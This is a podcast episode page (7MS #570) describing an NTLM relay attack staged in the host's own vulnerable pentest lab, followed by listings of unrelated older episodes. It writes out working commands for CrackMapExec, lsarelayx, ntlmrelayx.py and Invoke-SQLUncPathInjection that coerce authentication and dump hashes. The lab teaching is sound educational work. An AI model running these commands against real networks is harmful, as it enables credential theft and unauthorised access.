7MS #570: How to Build a Vulnerable Pentest Lab - Part 4
7 Minute Security5 Touko 2023

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

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In today's episode we staged an NTLM relay attack using a vulnerable SQL server.

First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled:

cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt

Then we setup lsarelayx in one window:

lsarelayx --host=localhost

And in a second window we ran ntlmrelayx.py:

python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM

Finally, in a third window we triggered authentication from the vulnerable SQL server:

Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS

Boom! Watch the local usernames and hashes fall out of the victim system.

We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this:

victim1 victim2 victim3

Then we tweaked the ntlmrelayx command slightly:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt

Interestingly(?) only victim2 was attacked.

Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks

Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server.

TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

Jaksot(706)

7MS #145: OFF-TOPIC - Sicario and The Walk

7MS #145: OFF-TOPIC - Sicario and The Walk

In today's off-topic episode I review two movies: Sicario and The Walk.

21 Tammi 20167min

7MS #144: Shoulder-Surfing with Seasoned Pentesters

7MS #144: Shoulder-Surfing with Seasoned Pentesters

I recently had the opportunity to shoulder-surf with some seasoned Webapp pentesters, and wanted to share what I learned about their tools, techniques and methodologies.

18 Tammi 20167min

7MS #143: Friday Infosec News and Links Roundup

7MS #143: Friday Infosec News and Links Roundup

Here are some of my fav' stories and links for this week! * Burn it all...The New Security Fundamentals **(Wednesday, January 20 @ 1 p.m. CST)**: a free Webinar on setting up the "*core technical things you need to do for your security program*." I've attended many Webinars from the BHIS group and they're always informative and humorous. * Real World Web Penetration Testing **(Thursday, January 28 @ 1 p.m. CST)**: a $25 Webinar on going through "*a real world penetration test. We will explore the methodology and procedures Secure Ideas follows as we test web applications. The course will also walk through some tricks and tips on how to focus your testing on likely flaws*." I have seen four of their recorded courses before and found them to be *absolutely* worth the money I spent, so I'm confident this upcoming session will be no exception. * Fortinet SSH backdoor not much to say except if you use any of the affected products, update immediately as they contain an SSH backdoor: * FortiOS v4.3.17 or any later version of FortiOS v4.3 (available as of July 9, 2014) * FortiOS v5.0.8 or any later version of FortiOS v5.0 (available as of July 28, 2014) * Any version of FortiOS v5.2 or v5.4 * Hacker sentenced to 334 years in prison for operating a phishing Web site similar to that of a legit banking Web site. Moral of the story? Don't do that. * Don't use IE 8, 9 or 10 anymore! unless you like to live dangerously.

15 Tammi 20168min

7MS #142: OFF-TOPIC - Media Servers and Making a Murderer

7MS #142: OFF-TOPIC - Media Servers and Making a Murderer

This off-topic episode covers: * Media servers - I'm a newb in this area and could use your help in setting up a config that actually works! * Making a Murderer - this is a fantastic documentary on Netflix. Stop what you're doing (once you listen to this episode) and watch *immediately* please.

13 Tammi 20168min

7MS #141: Happy (Belated) New Year!

7MS #141: Happy (Belated) New Year!

Happy (belated) new year! This episode is more of a "What am I listening to, a PBS telethon?!" kind of thing, and I'm sorry for that. But I want to cover: * Scheduling changes for 2016 - we're gonna be 3 times a week! * A new documentation project I'm working on called BPATTY (Brian's Pentesting and Technical Tips for You) * A way you can support the podcast financially.

11 Tammi 20168min

7MS #140: OFF-TOPIC - Video Games I'm Currently Playing

7MS #140: OFF-TOPIC - Video Games I'm Currently Playing

This episode talks about some cool video games I've been playing lately: * Metal Gear Solid Phantom Pain (Xbox 360) * Rise of the Tomb Raider (Xbox 360) * Luminocity (iPhone) * Super Mario Maker (Wii U) I recommend 'em all!

8 Tammi 20169min

7MS #139: Securing Your Life - Part 2

7MS #139: Securing Your Life - Part 2

Back in episode #93 I talked about securing your life - in other words, asking yourself "What would happen if I was dead right now? Do I have adequate insurance? Are my finances in order? How about estate planning?" This episode continues that train of thought, and I share some new changes I've made in my "life security" department.

8 Tammi 20168min

7MS #138: OFF-TOPIC - The Hateful Eight

7MS #138: OFF-TOPIC - The Hateful Eight

Looks like I'm one of the few people in the world who did NOT love this movie. I found it painful slow and claustrophobic. #diappointed.

7 Tammi 20168min

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